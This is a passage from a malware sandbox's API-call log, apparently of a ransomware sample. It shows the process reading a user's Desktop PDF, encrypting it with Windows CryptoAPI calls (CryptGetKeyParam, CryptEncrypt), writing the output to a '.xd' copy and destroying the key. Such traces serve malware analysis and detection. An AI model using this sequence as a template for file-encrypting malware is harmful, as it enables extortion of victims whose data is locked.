cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.258] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0078.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.258] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\v9qsv-fpmiybdo4vcavp.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.258] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.259] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.259] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.259] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\v9qsv-fpmiybdo4vcavp.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.262] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.262] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0078.265] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3e76, lpOverlapped=0x0) returned 1 [0078.265] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.268] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.269] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.269] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.269] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.269] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.269] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.269] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.269] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.270] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.270] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.270] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.270] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.270] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.270] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.270] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.283] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.284] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.284] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.284] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.284] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.285] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.285] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x13e76, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13e80) returned 1 [0078.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.285] CharLowerBuffW (in: lpsz="byte[81537]", cchLength=0xb | out: lpsz="byte[81537]") returned 0xb [0078.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.287] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.287] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.287] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.287] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181c6a0*, pdwDataLen=0x130e618*=0x13e76, dwBufLen=0x13e80 | out: pbData=0x181c6a0*, pdwDataLen=0x130e618*=0x13e80) returned 1 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.287] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.288] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.288] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.288] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.288] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.288] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.291] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.292] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x13e80, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x13e80, lpOverlapped=0x0) returned 1 [0078.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.293] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.294] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.294] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.294] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16210d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.294] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.294] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0078.294] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.294] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.294] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.294] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.294] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.294] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.294] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.297] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.297] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.297] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.297] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.297] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.297] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.297] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.297] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.297] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.297] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.298] GetProcAddress (hModule=0x74c60000, 